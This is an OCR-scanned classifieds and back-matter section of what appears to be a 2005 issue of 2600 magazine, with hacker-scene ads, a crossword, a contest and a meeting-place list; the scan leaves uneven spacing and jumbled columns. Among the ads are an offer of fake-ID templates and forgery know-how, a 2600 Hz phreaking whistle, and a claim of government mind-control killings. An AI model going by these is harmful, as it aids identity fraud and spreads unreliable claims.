tuned to channel 3 .  CD 9621 Olive. Box 28992-TS, Olivettet Sur, Missouri 6 3 1 3 2 .  

E m a i l :  cabledescra mblerguy@ya hoo.com.  
DECEPTION. The Pi ne Lake Media Group is p leased to present to you our  debut re­

lease, Deception, by awa rd-wi n n i n g  newsmax.com columnist Charles Smith.  Many 

citi zens think  they know what their government i s  doing i n  their names.  After 

readi ng Deception, you'll see just how bad it  really is  and how little you really 

know. Deception i s  the true story of the greatest Chinese Army espionage opera­

ti onal  exploit against the United States. Based on a decade of research a n d  more 

than 50,000 pages of offi cial and classified documents obtained using the  Free­

dom Of Information Act, no other book published to date even compares to Decep­
tion. While m a ny books have Hgone after" presidents before. Deception is unique 

because we've included al l  of the  evidence backi n g  u p  our charges. We have the  

signed letter f rom Motorola CEO Gary Tooker t h a n ki n g  Ron Brown,  former  U nited 

States Comm erce Department Secretary. for the presidential waiver allowi n g  the 

export of encrypted police radios to C h i n a .  And nearly 100 other u n m odified .  un­
em bellished documents that name names .  Order your copy today. For additi o n a l  in­

formation and to order, please visit our website at www. pinela kemedi a .com or call 

800-799-4570 o r  (614) 2 7 5-0830. Please note that we cannot accept orders by 

telep hone  at this time. Credit card orders may be faxed to 800-799-4571 o r  (614) 

2 7 5-0829. We accept al l  major credit cards, checks,  money orders, liberty Dollars,  

electro nic checks,  a n d  good old fashioned cash .  We sh ip  worldwide by DHL or 
USPS.  

CAP'N CRUNCH WHISTLES. Brand new, o n ly a few left.  T H E  ORIGINAL WH ISTLE i n  

mint  conditi o n .  never u s e d .  J o i n  the elite few who o w n  t h i s  trea sure!  O n c e  they 

are gone,  that is it - there are no more!  Keychain hole for keyri n g .  Identify you rself 

at meeti n g s ,  etc. a s  a 2600 member by d a n gling your keychain and sayi ng nothi n g .  

Cover one  h o l e  a n d  g e t  exactly 2 6 0 0  hz,  cover the  other h o le a n d  g e t  another fre­

quency. Use both holes to call your dog o r  dolphin .  Also, ideal  for telephone re­

mote control devices. Price includes mai li n g .  $ 9 9 . 9 5 .  Not o n Ly a collector's item 

but a VERY U S E F U L  device to carry at al l  ti mes.  Cash o r  money order o n ly. Mail to: 

WHISTLE, P. O .  Box 1 1 5 6 2-51, Cit, Missouri 63105.  

HOW TO BE ANONYMOUS ON THE INTERNET. Easy to follow lessons  on achievi n g  

Internet a n o nymity, privacy, a n d  security. The book's 20 cha pters cover 1 )  s imple 

proxy use for WWW; 2) how to send a n d  receive e-mail  anonymously; 3)  use SOCKS 

proxies for IRC. !CO, NNTP. SMTP. HTIP; 4)  web based proxies - JAP, M u ltiproxy, 
Crowds; 5)  do-it-yourself proxies - Ana logX, Win gates; 6) read and post i n  news­

groups (Usenet) i n  complete privacy; 7)  for pay proxies. Lea r n  how to hunt for, 

find. and utilize al l  types of proxies.  clean u p  your browsers, clean u p  your whole 

Windows as. This professiona lly written but non-technical jargon filled book i s  

geared towards the begi nner  to advanced readers a n d  the average Internet user. 

The book lessons  are on a CD i n  easy to read HTML i nterface format with n u merous 

illustrations  throughout. Send $20 (I'll  pay S/ H )  to Pia men Petkov. 1390 E Vegas 

Valley Dr. #40, Las Vegas, NV 89109. Money orders. personal checks, cash accepted. 
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T H E  I B M - PC U N DERGRO U N D  ON DVO. Topping  off at a full 4 . 2  giga bytes, ACiD 

presents the first OVD-ROM compilation for the  I B M - PC u n derground  scene entitled 
"Dark Domain . " Inside is  a n  expansive trove of files dating a s  fa r back a s  1987 up 
to the close of 2003; from artpacks to loaders and cracktros to magazines,  plus aU 

the necessary progra m s  for browsi ng them. If you ever wanted to see a lost J E D  

ANSlmation display at 2400 b a u d ,  here's y o u r  chance.  F o r  order details a n d  m o re 
i nfo rmation please consult http://www. darkdomain .orgJ. 

D RIVER'S LICENSE BAR-BOOK and "fake" I D  templates. Includes p h otos, tem­

plates, and i nformation on al l  security features of every single American and Cana­
dian d rivers' licenses. Including information on making "fake" lO 's  on PVC cards,  

la minati n g ,  m a king  hologra ms,  m a g n etic stripes,  software, a n d  more to m a ke your 
very own li cense! Send $ 2 5  cash i n  US fu nds  o r  a n  i nternati o n a l  money order i n  US 

funds made out to R.J .  Orr  a n d  mai Led to Driver's Bar  Book, PO Box 2306,  Stati o n  

Main ,  W i n n i p e g ,  Manitoba, R3C 4 A 6 ,  Canada .  Order now a n d  get FREE la minates 

with every order! We ship worldwide free ! 

O N LI N E  RETAILER O F  COM PUTER P R O D U CTS is also a 2600 s u bscriber !  60,000 
different computer products from components to complete systems, laptops, PDAs, 

cables, RAM, and media al l  available online at http://www.digita leverything .ca .  

Worldwi d e  sh ipp ing  is  no proble m .  Just  mention you are a subscriber a n d  I'll give 
you better prices too. Contact Dave at sa les@di gitaleveryt h i n g . ca for more i nfo. 

Help Wanted 
HIRING PROFESSIONAL INTE R N ET C O N S U LTANTS with job references only for 

the followi n g :  website security, performance tuning,  and ma rketi ng for o n li n e  

magazi n e ,  Please s e n d  y o u r  b i o  a n d  res u m e  to:  j b h a rtsworth@ya hoo,com -you c a n  

w o r k  from home,  but should live in  (or  a r o u n d )  NYC. as  you w i l l  n e e d  t o  attend a 

meeti n g  or two. 
CRE DIT REPORT HELP N E E D E D .  Need some assistance removi ng negative items 
off credit reports. Will pay. All agencies. Plea se respond to 
skysi g ht@spacemail .com. 

Wanted 
HAVE KNOWLEDGE O F  SECU RITY BREACHES at your bank? Heard rumors  of 
cracked customer databases? Know there are u n a d d ressed vulnerabilities i n  a re­
tailer's credit card network, but its management doesn 't  know o r  care? We want 

your ti p s .  We are a business newsletter focusi n g  on security issues i n  the  f inancial  
i n d ustry: IT security, privacy, regu latory compli a n ce, identity-theft a n d  fra u d ,  

money-la u n de ri n g .  Wherever cri m i n a l  activity meets banks ,  w e  are t h e r e ,  Y o u  can 

remain anonymous.  ( N ote: we will not print r u m o rs circu lated by one person o r  

group without obtai ning s u p porting  evidence o r  corroborati o n  f r o m  o t h e r  parties . )  
Contact banksecuritynews@ya hoo.com o r  call  2 1 2-5 64-89 7 2 ,  ext .  102.  
IF YOU DON'T WANT S O M ETHING TO B E  TRU E ,  does that m a ke it  propaganda? 

When we're chi ld ren a n d  we don 't  want to l isten,  we put o u r  hand s over o u r  ears.  
As we grow u p ,  we create new ways to i g n o re things we don't want to hear. We 

make excuses. We look the other way, We label th ings  "propagandaH or "sca re tac­

tics . "  But it doesn't work, It doesn't m a ke the truth go away. Governm ent and cor­
porate MIND CONTROL PROGRAMS are used to i ntimidate, torture, and m u rder 
people g loba lly. It may not be what you want to hear. But that doesn't m a ke it any 
less true,  Please visit a n d  support  J o h n  Gregory La m bros by distri buting this  ad to 

free classified advertis ing sites and newsgroups globa lly. www.brazilboycott.org 

T H A N K  YO U !  

Services 
ARE YOU TIRED of receiving piles of credit ca rd offers a n d  other postal spam? You 
can't just  th row them in  the trash or recycle them as  someone COUld get a h o ld of 
them a n d  use them to steal your identity. You can't j u s t  let them pile up on your 

kitchen table.  So i n stead you have to be bothered with s h redding a n d  disposing of 

t h e m .  Well. not a nymore.  OperationMai lBack.com has a free solution for you,  All 
costs of disposal including delivery wi ll be paid by the  company responsible for 

sending the stuff to you. Stop wasti ng your valuable ti m e  dealing with messes 
other people are responsible for creati n g .  Check out o u r  newly redesigned website 
for complete i nformation and take back your mai lbox. 

BEEN ARRESTED FOR A COMPUTER O R  TEC H N O LOGY R E LATED CRIME? Have an 
idea, i nventi o n ,  or business you want to buy, sell, protect, o r  exp loit? Wish your 

atto rney actua lly understood you when you speak? The Law Office of Michael B. 

G reen, Esq.  is  the solution to your 21st century legal problems, Former SysOp a n d  

m e m b e r  of m a n y  private B B S ' s  s i n c e  1981  n o w  available to directly represent you 
or bridge the commu nications  gap and assist your current leg a l  counsel. Extremely 

detailed knowledge regarding cri m i n a l  and civil liabi lity for computer and techn ol­
ogy related actions  (18 U .S .c .  1028, 1029, 1030, 1031 ,  1341, 1342,  1343,  2511 ,  

2 5 1 2 ,  ECPA,  DMCA, 1996 Telecom Act ,  etc. ) ,  domain  n a m e  d isputes ,  intellectual  

property matters such a s  copyrig hts, tra d e m a rks,  l icenses,  a n d  acquisitions  as  well  
a s  general  business a n d  corporate law.  Over n i n e  years experience as  in-house le­

g a l  counsel to a computPT consulti ng business a s  well  a s a n  over 20 year  back­

ground i n  computer, teleco m m u nications,  a n d  techn ology matters.  Published law 
review a rticles, contributed to nationa lly published books,  a n d  submitted briefs to 

the United States Supreme Court on Internet and tech nology related issues.  Admit­
ted to the U.S .  Supreme Cou rt, 2nd Circuit Court of Appeals,  and all New York State 

courts. Many attorneys wiU take your case without any consideration of our culture 
and will see you merely as a sou rce of fees o r  worse, with i ll-con ceived prej u dices. 
OUf office understands o u r  c u lture, i s  sympathetic to your situation,  dnd wi l l  treat 

you with the  respect a n d  understa nding you deserve. No fee for the initi a l  and 

confidential consultation and, if  for any reason we cannot help you, we wi ll even 

try to find someone else who can at no charge. So you have nothing to lose and 

perhaps everything to gain by contacti ng u s  first. Visit us at: http://www. 

_computorney.com or call 516-9WE- H E L P  (516-993-4 3 5 7 ) .  

AFFORDABLE A N D  R E LIABLE LIN U X  HOSTI N G .  Ka leton Internet provides afford­
a b le web hosti n g  and email accou nts based on dual processor P4 2 .4GHz Li nux 

servers. O u r  hosti n g  pla n s  start from o n ly $8,95  per month.  This  i n cludes support 

for Pyth o n ,  Pert. P H P, MySOL, a n d  more. You can now choose between the USA, 

Hong Kong,  a n d  other offs hore locati o n s  to avoid censorship and g u a ra ntee free 

speech, We respect your privacy. Payment can be by E-Gold, PayPaL credit card,  

b a n k  tran sfer, o r  Western Union .  See www. ka leto n . com for details. 

SUSPECTED OR ACCUSED OF A CYBERCRIME IN ANY CAUFORNIA OR FEDERAL COURT? 

Consult with a semantic warrior com mitted to the liberation of i nformation special­

izi n g  in hacker, cracker, a n d  p h reak defense. Contact O m a r  Figueroa, Esq.  at (415)  

986- 5 5 9 1 .  at oma r@aya .ya le . e d u ,  o r  at 506 B roadway, San Francisco,  CA 9 4 1 3 3 .  

Graduate of Yale College a n d  Sta nford L a w  School.  Complimentary c a s e  consulta­

ti on for 2600 readers ,  All  consultations  a re strictly confidential and protected by 

the atto rney-client privilege. 

Announcements 
OFF T H E  H O O K  is the  weekly one  h o u r  ha cker radio show presented Wednesday 

nights at 7:00 p m  ET on WBAI 99.5 FM in  New York City. You can also tune i n  over 

the net at www. 2600.com/offthehook o r  on shortwave i n  North and South America 

at 7415 khz,  Arch ives of a l l  shows dating back to 1988 can be fou n d  at the  2600 
site, now i n  mp3 format! Shows from 1988-2004 are now available i n  DVD-R format 

for $3D!  Send check o r  money order to 2600, PO Box 752, Middle Is la n d ,  NY 1 1 9 5 3  

USA or o r d e r  through o u r  o n li n e  s t o r e  at http://store . 2 600.co m .  Yo u r  feed back on 

the  program i s  a lways welco m e  at oth@2600.com. 

CYB ERPU N K  MINISTRIES CONFERENCE: CPMCON is a C h ristian hacker conference. 

Everyone is welcome. Check out http://www.cpmcon, org or email a d m i n @  

_cpmcon. org f o r  m o r e  info.  

K-UNE MAGAZINE. 100% H/P related i nformation since 1 9 9 9 !  We cover  a l l  as­

pects of comp uters, telephones,  a n d  much more. K-/ine Magazine i s  u p  to over 45 

issues a n d  i s  headqua rtered at Canada 's  top phone p h reaking website:  net­

twerked . n et. B e  sure to check it out a n d  submit your articles! For more i nformation 

on K-line Magazine, o r  Nettwerked, please visit http://www.nettwerked . n et. 

VMYTHS.COM A U DIO RANTS are available free of cha rge to computer talk shows. 

These short and often h i larious MP3s dispel the hysteria that surrounds com puter 

security. One  former White House computer security advisor hates these rants (and  

we don 't m a ke t!1 is  c la im lightly ) .  Check out Vmyt!1s . com/news. cfm for  details. 

C H RISTIAN HACKERS' ASSOCIATIO N :  Check out the web page http://www. 

-christi a n h a cker.org for details,  We exist to promote a commu nity for C h ristian 

ha ckers to discuss a n d  i m pact the realm where faith and tec h n o logy i ntersect for 

the purpose of seeing lives changed by God's grace through faith in  Jesus .  

DO YOU WANT ANOTH E R  PRINTED MAGAZINE that complements 2600 with even 

more hacking information? Binary Revolution i s  a magazine from the Digital Dawg 

Po und about hacking and techno Logy. Specifically, we took at u n d erground  topics 

of tec h n o logy including:  Hacking, Phreaking ,  Security, U rban Exploration ,  Digital 

Rights, a n d  more. For more information,  or to order your printed copy online,  visit 

u s  at http://www.bin rev.com/ where you will also f ind instructions  on mail orders. 

Welco m e  to the  revoluti o n !  

Personals 
CONVICTED COM PUTER C R I M I N A L  i n  federal  prison doing resea rch on Asperger 

Syndrome prevalence i n  prison. Please write: PauL  Cuni  1 5 287-014, Box 7001,  Taft. 

CA 93268.  

SYSTEM X H ER E !  I 'm sti ll inca rcerated in  Indiana Dept .  of Correcti o n s  for at least 

8 months and don 't get many c h a n ces to sti m u late my m i n d ,  I d o  sometimes get 

a h old of books but that requi res knowing the title, ISBN#, and author.  Any help 

would be great!  I a m  sti l l  looki ng for ANY hacker/co m p uter related information 

such  as  tutoria ls, mags,  zines, newsletters, o r  friends to discuss a nythi n g !  I 'm a lso 

looking for info on any security h o les in  the Novell Netwo rk client. All letters will 

be replied to no matter what! I 'm also looking  for a utogra p h s  i n  ha cker or real 

name for a collection I have started if a nyone finds the  ti me.  DOM I need you to 

write again beca use the return a d d ress was removed from your envelope. All i nfo 

a n d  contributions greatly a p p reciated. Joshua  Steelsmith # 1 1 3 667, MCF-IDOC. P. O .  

Box 9 0 0 ,  B u n ker Hi l l ,  IN  4 6 9 1 4 .  

STILL I N  T H E  BIG H O U S E .  T h r e e  d o w n ,  l e s s  than t w o  to go.  K n o w n  as  Alphabits, 

busted for hacking a few banks and doing wire transfers. I 'm bored to death a n d  in 

desperate need of some mental sti m u lati o n .  I would love to Il ear  from anyone in  

the real  world .  Help m e  out, put  pen to paper now.  Why wait? J eremy Cushing 

#J51130,  Centine la State Prison, PO Box 9 1 1 ,  Imperia l .  CA 92251-0911 .  

STO R M B RING ER'S 411: Am not getti ng a fair shake i n  court  without a n  attorney, 

so it's 1 5  more years to pull. Need a coder for a web GUI for a sho rtwave/scanner  

(leom PCR-1000) that I do nated to a s h ortwave station a n d  some other  interesti ng 

stuff ,  Would love to talk s h o p  with people on radio, data over  radio, a n d  h a m  ra­

dio. Wi l l  respond to a U  letters technical  o r  not .  W.K .  Smith,  44684-083, FCI  Cum­

berla n d ,  PO Box 1000,  Cumberland,  M D  2150 1-1000. Web: www.sto rmbringer.tv. 

Li n k  to it! 

O N LY S U BSCRIBERS CAN ADVERTIS E  IN 2600! Don't even th ink  about tryi n g  to 

take out an ad u n less you subscri b e !  All ads are free and there i s  no a m o u n t  of 

money we wi ll accept for a non-su bscriber a d .  We hope that's clea r. Of course,  we 

reserve the right to pass j u d g ment on your ad and not print it i f  it's amazingly stu­

pid or has nothing at all to do with the ha cker world . We m a ke no guara ntee a s  to 

the hon esty, righteo usness,  s a nity, etc. of the people advertising here. Contact 

them at your periL All s u b missions are for O N E  ISSUE O N LY! If you want to run your 

ad more than once you must  resubmit it each time, Don't expect u s  to run more 

than one ad for you i n  a single issue either. Include your a d d ress label/envelo pe or 

a photocopy so we know you're a s u bscriber. Send your a d  to 2600 Ma rketplace, PO 

Box 99, Middle Isla nd ,  NY 1 1 9 5 3 .  Deadli n e  for Summer  issue:  6/1/05 .  
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Across 

1 . Hackers' univ. 
3 . Legion of __ 

6. Usenet starter 
9 . Dir for Unix 

1 0. Bad on a boarding pass 
1 3 . CPU, ROM, ego 
1 4 . I ndependent fortress 

phone 
1 8. 2 .4Ghz transmission 
1 9 . Multics successor 
21 . Early net .  
24.  Telco wire inits. 
25. GUI predecessor 
26. 2600 build 
28. Popular distribution 
3 1 . Some hackers break 

these 
33. White House zone (abbr.) 
34. Orwell 's  farm 
35. Meeting space 
36. Framer of the manifesto 
39. Old Baby Bell 
4 1 . Net hell? 
42. Stood up to the MPAA 
44. What 2600 repainted 
47.  Cow plus yak 
48. ALGOL - Latin similarity 
49. Once 1 0562 
50. Do not overflow this 
52. The stage for Hackers 
53. Cult ' s  Blood 
54. Conference Keynoter 
55. Cx Cc 

Down 

1 . 1 0001 0 1 0 1 1 00 
2. Social engineering must 
3. Back-up media (abbr.) 
4 .  Platform (abbr.) 
5 .  Degree of achievement 

for some hackers 
7. Common __ 

8. Class 4 CO 
1 1 .  Quarterly hundreds digit 
1 2 .  Open source guru 

1 5. Bandwidth meas. 
1 6. Flash 
1 7 . Off The Hook theme 
20. 2 1 2 ,  7 1 8 e . g .  
22.  P 2 P  enemy 
23. Much of spam 

27. MOD's mark? 
29. Pen reg .  
30.  Early scene zine 
32. If'NVIl Ohio shortwave 

sta. 
36. Chinese TLD 
37. What pine is not 
38. Phrack founder 
40 .  String oriented symbolic 

language 
4 1 . M il itary secondary 
43. Marching orders? 

(abbr.) 
44. Oy _  
45.  Future armies (acro.) 
46. Old Macintosh 
47. 2200+ 1 700*2 
48. 3 1 1 0  to Telenet (abbr.) 
5 1 . Suffix deserving death? 
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I s  th i s  you r  f i rst ti me read i ng 
th i s  s u bvers ive magaz i ne?  

prefer 
the 

Wou ld  you 
buyi ng i t at 

i t  i f  peop le d idn 't see 
bookstore a nd fo l low 

you 
you 

after you leave the sto�? 

T h e re ' s  a s o  
It's ca lled the  2 600 S u bscri pti o n  a n d  it ca n be  yo u rs i n  a co u p Le 

of ways . Either  send  $ 2 0  fo r o n e  yea r, $ 3 7  fo r two yea rs , o r  $ 5 2  

fo r th ree yea rs (o utsi de  t h e  U . S .  a n d  Ca n a d a ,  th at's $ 3 0 ,  $ 54,  a n d  

$ 7 5  res pective Ly) to 2 6 0 0 ,  PO Box 7 5 2 ,  Mi d d Le Is La n d ,  NY 1 1 9 5 3  

U SA o r  s u bscri b e  di rectly fro m us  o n Li n e  usi n g  yo u r  credit ca rd at 

sto re . 2 6 0 0 . co m .  

Th eo reti ca lly yo u wo u Ld n ever h ave to Leave yo u r  h o use agai n .  

Announcing Ihe 2600l8sler Igg Hunll 
Yes,  you read rig ht. We've had  so many peopLe ask  us j ust h ow 

many Easter Eggs there a re i n  the  Freedom Downtime DVDs that 

we've decided to make a contest out of it. If you fi nd  the 

h ighest n umber  of Easter Eggs i n  this doub Le DVD set, you ' ll wi n 

:" Lifeti m e  s U bscri pti o n  to 2600 

All back issues 

One item of every piece of cloth ing  we sel l  

An Off The Hook DVD with m o re possi b le Easter  Eggs 

Another Freedom Do wntime DVD si n ce yo u wi l l  h ave 

p roba b ly wo rn out yo u r  o ld o n e  

'Two ti ckets t o  the  n ext H O P E  co nference 

, 
Submit entries to:  

Easter Egg H u nt c/o 2600, PO Box 7 5 2 ,  M idd le Isla n d ,  NY 11953 USA 

You can get the Freedom Downtime doub le DVD set by sendi n g  $30 to 

, th e  above add ress o r  t h roug h our Inte rnet sto re located at 

, store . 2 600 .co m .  

These are the rules. All entries must b e  ' 

sent through the regu lar mail, none of this 
Internet business. The deadline  is septem- : 
ber I, 2005 and the wi nner wi ll be 
announced in the Fa ll 2005 issue. 

What constitutes an Easter Egg? Any­
thing on the DVDs that is deliberately hid­
den i n  some way so that you get a little 
thri l l  when you di scover it. When you fi nd 

, one of these, we expect you to tell us how 
' you found it and what others must do to 
see it. Si mply dumping the data on  the DVD 
is not sufficient. 

It's possible that there a re some Easter 
Eggs that don 't require you to hit buttons 
but that contai n a hidden message 
nonetheless. For  i nstance, if you discover 
that taking the first letter of every word 
that Kevin Mitnick says in the film spells 
out a secret message, by all means include 

, that. We wi ll be judging entries on thor­
: ough ness and there is no penalty for see­
i ng  an Easter Egg that isn 't there. You can 
enter as many times as you wish .  Your  best 
score is the one that wi ll count. Remember, 

'
there is no second place! So plan on 
spendi ng the next few months indoors .  
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ARGENTINA 
Buenos Aires: In the bar  at San Jose 05. 

AUSTRALIA 
Adelaide: At the payphones near the 

Academy Cinema on Putteney Sf;. 8 p m .  
Brisbane:  H u n g ry J a c k s  on  the Queen st. 

Matt (RHS,  oppo�ite Info Booth ) .  7 pm. 
Canberra: k('s VirtuaL Reality Cafe, 1 1  East 
RW, Civic. 7 p m .  
Melbourne: Caffeine at RevauLt bar, 16 
Swanston Walk. 6 pm.  

FRANCE 
Avignon:  Bottom of Rue de La RepubLique 
i n  front  of the fountain with the flowers. 
7 p m .  

Grenoble: Eve, ca mpu) of St. Martin 
d'Hl'res. 
Paris :  Place de La RepubLique, near the 
(empty) founta i n .  6 pm. 
Rennes: In front of the store " B lue Box" 
close to the pLace o f t h e  Republic. 7 p m .  

GREECE 

Florida 

Ft. lauderdale: Broward Mall i n  the food 
court. 6 pm. 
Gainesville: In the back of the University 

of Florida 's  Reitz Union food court. 6 pm. 
Orlando:  Fashion Square Mall food Court 

between Hovan Gourmet and Manchu Wok. 

6 pm. 
Tampa: University Mall  i n  the back of the  

food court  on  the 2 n d  floor. 6 p m .  

Geo rgia 

North Carolina 

Charlotte: South Park Mall  food court. 
7 pm. 

Greensboro: Bear Rock Cafe, Friendly 
Shopping Center. 6- pm. 
Raleigh: Tek cafe And Internet G a m i ng 

(eFlter, Royal Malt, 3801 Hillsborough St. 6 pm. 
Wilmingto n :  Independence Mall  food 
court. 

North Dakota 

Fargo: We$t Acres Mall food court by the 
Perth: The Merchant Tea and Coffee House, Ath ens:  Dubide the bookstore Atlanta: Lcnox Mall  food court. 7 p m .  Taco John 's .  
183 Mu rray St .  6 p m .  Papaswtiriou on the c o r n e r  of Patision and Idaho Ohio 
Sydney: The Crystal Palace,  front 
bar/bistro. opp05itc the bU5 station area 
o n  George Street at Central Stdti o n .  6 pm. 

AUSTRIA 
Graz: Cafe Halte�telle all J a kolll i r l iplatz 

B RAZIL 
Belo Horizonte: Pelego's Bar at Assufeng,  
near the payphone .  6 p m .  

CANADA 
Alberta 

Calgary: Eau Claire Ma rket food court by 
the blrtnd yellow walL 6 pili. 

Briti s h  CoLumbia 
Nanaimo: Tim Horton'� at Comox & Wal­
lace. 7 pm, 
Victoria: QV Ba kery d ild  Cate, 
1701 Govcrnment  St. 

Ma nitoba 
Winnipeg: St. Vitdl Shopping CentTc,  foou 
court by H MV. 

New Brunswick 
Moncto n :  Ground Zero Networks Internet 
Cate, 720 Main SL 7 pm.  

Ontario 
Ba rrie: William's  Coffee Pub, :'0:' Bryne 
Drive. 7 pm. 
Guelph:  Willi a m ' s  Coffee Pub, 
492 Edinbourgh Road South. 7 prn. 
H a milto n :  McMd ster Univer�ity Studenl 
Center,  Room 318, 7 :30 pm, 
Ottawa: World £.xcharT�e Plazd, 1 1 1  Albert 
St. ,  second flOaT. 6:30 p m .  
Toronto: future Bakery, 4 8 3  Bloor S t .  We�l. 
Windsor: UniveT�ily Stutit'lit Center by tht' 
large wmdow. 7 pm. 

Quebec 
Mo ntreal: B(>ll Amphitheatre, 
1000 Gauchetiere Street. 

CHINA 
H o n g  Kong:  Pacific Coffee in  Fe�tivdl 
Walk, Kowloon TO lT g .  7 p m .  

C Z E C H  R E P U B LIC 
Prague: Legenda pub. 6 rill . 

DENMARK 
Aalborg:  Fdst  eddy 's  pool ha ll. 
Aarhus: In the far corner of th�' DSB cafe 
in the railway stati o n .  
Copenhagen:  V e d  Cafe Blasen. 
Sonderborg: Cafe Druen.  7 :30 pill 

EGYPT 
Port Said: At the foot of the Obelisk 

(El M is�alla h ) .  
ENGLAND 

Brighton: At the phone boxes by the Seal­
ife Centre (acros� the road from the Palace 
Pier). 7 pm. Payphone:  ( 0 1 2 7 3 )  606674. 
Exeter: At the paypllOne�, Bedford Square. 
'1 p m .  
H a m pshire: Outside the Guildha ll, 
Portsmouth.  
H u ll: The Old Gray MJre Pub, opposite Hull  
U n iversity. 7 p m .  
L o n d o n :  TTOcadero S h o p p i n g  Center ( n e M  
Picadilly Circus), lowest level. 6 :30  pm.  
Manchester: The Green Room OT T  Whit-
worth Street. 7 p m .  
Norwich:  Main foyer o f  the Norwich 
"Forum" Library. 5:30 p m .  
Readi n g :  Afro Bar, Mercha nts Place, off 
Fria r  St. 6 p m .  

FINLAND 
H eLsi nki :  Fenniakortteli food court 
(Vuorikatu 14).  

Stournari . 7 pill. 
IRELAND 

Dublin:  At the phone booths on  Wicklow 
Street be�idc Towcr Records. 7 p m .  

ITALY 

Mila n :  PidZla Loreto in front of McDonalds.  
JAPAN 

Tokyo: Linux Cafe i n  Akihabard district. 
6 p m .  

NEW ZEALAND 

Auckland: London Ba r. upstairs, Wellesley 
St. , Auckland CentraL 5 : 30 pTll. 

C h ristchurch:  JaVel Cafe, corrlf'r of High 
St .  a n u  Manch ester S1 .  6 p m .  
Wellington: l.oad C a f e  i n  Cuba M a l l .  6 pill. 

NORWAY 
Oslo: Oslo Sentral Train  Stati o n .  7 p m .  

Tromsoe: The u p p e r  floor at B l a a  Rock 
Cafe. 6 p m .  
Trondheim: Rick'� Cafe i n  Nordregate. 6 pm. 

SCOTLA N D  
Glasgow: Central Station, payphone<; next 
to Pldtform 1 .  7 p m .  

SLOVAKIA 

Presov City: Kelt Pub. 6 pill. 
SOUTH AFRICA 

J o h a n n esburg (Sandton City): Sanriton 
rood court. 6:30 pm. 

SWEDEN 

Goth enburg:  Outside Vani� .  6 p m .  
Stockholm: Outside l.ava. 

SWITZERLAND 

La usanne:  Tn front ot the MacDo be�ide 
the train �tati o n .  

U NITED STATES 
Alabama 

Auburn:  The <;tudent lounge upstair�  i n  
thc r o y  Union  Buildi n g .  7 p m .  
Huntsvi lle : Madison S q u a r e  M a l l  i n  t h e  
tood c o u r t  near MlDonald'�.  

Tuscaloosa:  McFarland Mall  food (QUTt 
ncar  the Front entrance. 

Arizona 

Phoenix: Borders, 2nd  Floor Cafe Area, 
2402 E .  Camelback Road. 
Tucson: Bordl'r', i n  the Park Ma ll. 7 pm.  

California 
Los Angeles: Union Station ,  corner  of  
Macy & Alameda.  Ins ide  main  entrance by 
bank of phones .  Payphones: (213)  972-9519, 
9520;  62')-9923, 9924;  6 13-9704, 9746. 
Monterey: Morqan', Coftee & Tea, 498 
Washington St. 
Orange County ( Lake Forest) : Diedrich 
Coffee, 22621 L.ake Forest Drive. 8 pm, 
Sacramento: Camille's at the corner of 
S u n rise a n d  Madison.  
San Diego: Regents Pizza,  4150 Regents 
Park Row #170.  
San Francisco: 4 Embarcadero Plaza ( in­

side).  Payphones:  (415) 398-9803,  9804, 
9805 , 9806 
San Jose: Outside the cafe at the M L K  L i­
brary at 4th a n d  F .  San Fernando.  6 p m .  
Santa Barbara: Cafe S i e n a  on $tdte St.reet. 

Colorado 
B o u lder: Wing Zone food court, 13th and 
College.  6 p m .  

B o i s e :  BSU Student Union Bui ldi n g ,  up- Akro n :  Arabica on  W. Ma rket Street, 
�tdiT' hom tlie main entrarKe. Payphones:  intersection of Hawkins. W. Market, a n d  
( ZOB)  342-9700,  9 7 0 1 .  Exchange,  
Pocatello: Col lege Market. 604 South 8th Clevela n d :  University C i rc le  Arabica, 

Strcet. 11300 J u niper Rd. Upstairs, turn right sec-

Illinois ond room on left. 

Chicago: Union Station in the Great Hall  Dayto n :  At the MarioTTs behind the  Dayton 

near the payphones. 5:30 prTl. Mall. 

Indiana OkLahoma 

Evansville: Barnes and Noble cafe at 624 S Okla h o m a  City: Cafe Bella, 50uthedst 
{ireen RivcT Rd. corner of SW 89th Street a n d  Penn. 

Ft. Wayne: Glenbrook Mall  food court in Tulsa: Java Dave's Coffee Shop on  31st and 
front of Sbarro's. 6 pm. H a rvard. 
Indiana polis: Corner Coffee, SW corner of Oregon 

11th and Ala b a m a .  Portla n d :  Backspace Cafe, 1 1 5  NW 5th Ave 

South Bend (Mishawaka):  BarnC's a n d  6 p m .  

N o b l e  cdfe, 4601 G r a p e  R d .  Pennsylvania 

Iowa Allentown: Panera Bread, 3100 West 

Ames: Santa Fe Espresso, 116 Welch Ave. Tilg h m a n  Street. 6 p m .  
Kansas PhiladeLphia: 30th Street Station, under 

Kansas City (Overland Park): Oak Park Stairwell 7 sign. 
Mall  food court. Pittsburg h :  William Pitt Union building on  
Wichita: Riverside Perk ,  1144 Bitting Ave.  the University of Pittsburgh campus by the 

Louisiana Bigelow Boulevard entrance. 
Baton Rouge: In the LSU U n i o n  Bui ldi n g ,  S o u t h  Carolina 
between the Tiger Pause & McDonald's,  Cha rlesto n :  NOT thwood, Mall  i n  the hal l  
ncxt to thc pay phones belweeJ r  SedT� dnd Chik-Fi l-A 
New Orlea ns:  Ld Fee Verte, 620 Conti South Da kota 
Street. 6 p m .  S i o u x  Falls: E m p i r e  M a l l ,  by B u r g e r  K i n g .  

M a i n e  Tennessee 

Portla n d :  Maine Mall  by the benc.h at the Knoxvi lle: BordeT� Books Cafe across from 

food court door. W(>';town M a ll. 
Maryland Memphis (Cordova): San Francisco Rrpad 

Balti m o re: Barnes & Noble rafe at the Company, 990 N .  Germa ntown Parkway. 
Inner H a rbor. 6 pm. 

Massachusetts Nashvi lle: J·J'5 Market, 1912 Broadway. 

Boston :  Prudenti a l  Center Plaza, terrace Texas 
food court at the tables near the windows Austi n :  Dobie Mall  food ((jurt. 6 pm. 

Marlboro u g h :  Solomon PaTk Mall  food Da llas: M a TlTa 's  Pizzd, Campbell & PTestoTr. 
court. 7 p m .  
Northampto n :  JaVdnet Cate across from Housto n :  Ninfa's Express i n  front or 

Polaskl Park. Nordstrom's i n  t.he Ga lleria Mall.  
Michigan San Antonio: North Star Mall  food court. 

Ann Arbor: The Ga lleria on South Utah 
University. Salt Lake City: ZCMI Mall in  The Park Food 

Minnesota Courl. 
BLoomingto n :  Mdll of America, north $ide Vermont 
food court, across from Burger King & the B u rlingto n :  Borders Books at Church St. 

bank of payphones that don't take and Cherry St. on  the second floor of the 
incoming calls. rafe. 

Missouri Virgi nia 

Kansas City (Independence): Barnes & Arlington: (see Distri,ct of Columbia) 
